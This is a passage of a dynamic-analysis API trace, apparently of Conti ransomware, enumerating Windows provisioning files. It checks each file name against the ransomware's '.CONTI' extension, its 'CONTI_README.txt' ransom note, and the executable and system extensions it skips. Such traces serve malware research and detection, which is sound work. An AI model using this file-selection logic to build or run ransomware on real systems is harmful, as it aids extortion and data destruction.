	[0109.013] GetProcessHeap () returned 0x1720000
	[0109.013] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b74218
	[0109.013] lstrcpyW (in: lpString1=0x6b74218, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.013] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.013] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml"
	[0109.013] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", cAlternateFileName="278__C~1.PRO")) returned 1
	[0109.013] lstrcmpiW (lpString1="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.013] lstrcmpiW (lpString1="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.013] StrStrIW (lpFirst="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.013] StrStrIW (lpFirst="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.013] StrStrIW (lpFirst="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.013] StrStrIW (lpFirst="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.013] StrStrIW (lpFirst="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.013] StrStrIW (lpFirst="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.014] StrStrIW (lpFirst="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.014] StrStrIW (lpFirst="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.014] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.014] lstrlenW (lpString="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml") returned 71
	[0109.014] GetProcessHeap () returned 0x1720000
	[0109.014] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6b730a0
	[0109.014] lstrcpyW (in: lpString1=0x6b730a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.014] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.014] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml"
	[0109.014] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", cAlternateFileName="279__C~1.PRO")) returned 1
	[0109.014] lstrcmpiW (lpString1="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.014] lstrcmpiW (lpString1="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.014] StrStrIW (lpFirst="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.014] StrStrIW (lpFirst="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.014] StrStrIW (lpFirst="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.014] StrStrIW (lpFirst="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.014] StrStrIW (lpFirst="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.014] StrStrIW (lpFirst="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.014] StrStrIW (lpFirst="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.014] StrStrIW (lpFirst="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.014] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.014] lstrlenW (lpString="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml") returned 71
	[0109.014] GetProcessHeap () returned 0x1720000
	[0109.014] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6b731f8
	[0109.014] lstrcpyW (in: lpString1=0x6b731f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.014] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.014] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml"
	[0109.014] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="27__CO~1.PRO")) returned 1
	[0109.014] lstrcmpiW (lpString1="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.014] lstrcmpiW (lpString1="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.014] StrStrIW (lpFirst="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.014] StrStrIW (lpFirst="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.014] StrStrIW (lpFirst="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.014] StrStrIW (lpFirst="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.015] StrStrIW (lpFirst="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.015] StrStrIW (lpFirst="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.015] StrStrIW (lpFirst="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.015] StrStrIW (lpFirst="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.015] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.015] lstrlenW (lpString="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml") returned 61
	[0109.015] GetProcessHeap () returned 0x1720000
	[0109.015] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x130) returned 0x17e15a0
	[0109.015] lstrcpyW (in: lpString1=0x17e15a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.015] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.015] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml"
	[0109.015] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", cAlternateFileName="280__C~1.PRO")) returned 1
	[0109.015] lstrcmpiW (lpString1="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.015] lstrcmpiW (lpString1="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.015] StrStrIW (lpFirst="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.015] StrStrIW (lpFirst="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.015] StrStrIW (lpFirst="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.015] StrStrIW (lpFirst="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.015] StrStrIW (lpFirst="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.015] StrStrIW (lpFirst="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.015] StrStrIW (lpFirst="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.015] StrStrIW (lpFirst="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.015] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.015] lstrlenW (lpString="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml") returned 71
	[0109.015] GetProcessHeap () returned 0x1720000
	[0109.015] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6b729e8
	[0109.015] lstrcpyW (in: lpString1=0x6b729e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.015] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.015] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml"
	[0109.016] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", cAlternateFileName="281__C~1.PRO")) returned 1
	[0109.016] lstrcmpiW (lpString1="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.016] lstrcmpiW (lpString1="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.016] StrStrIW (lpFirst="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.016] StrStrIW (lpFirst="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.016] StrStrIW (lpFirst="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.016] StrStrIW (lpFirst="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.016] StrStrIW (lpFirst="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.016] StrStrIW (lpFirst="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.016] StrStrIW (lpFirst="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.016] StrStrIW (lpFirst="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.016] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.016] lstrlenW (lpString="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml") returned 71
	[0109.016] GetProcessHeap () returned 0x1720000
	[0109.016] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6b74620
	[0109.016] lstrcpyW (in: lpString1=0x6b74620, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.016] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.016] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml"
	[0109.016] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", cAlternateFileName="282__C~1.PRO")) returned 1
	[0109.016] lstrcmpiW (lpString1="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.016] lstrcmpiW (lpString1="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.016] StrStrIW (lpFirst="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.016] StrStrIW (lpFirst="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.016] StrStrIW (lpFirst="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.017] StrStrIW (lpFirst="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.017] StrStrIW (lpFirst="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.017] StrStrIW (lpFirst="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.017] StrStrIW (lpFirst="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.017] StrStrIW (lpFirst="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.017] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.017] lstrlenW (lpString="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml") returned 71
	[0109.017] GetProcessHeap () returned 0x1720000
	[0109.017] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6b72b40
	[0109.017] lstrcpyW (in: lpString1=0x6b72b40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.017] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.017] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml"
	[0109.017] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2df, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", cAlternateFileName="283__C~1.PRO")) returned 1
	[0109.017] lstrcmpiW (lpString1="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.017] lstrcmpiW (lpString1="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpString2="..") returned 1
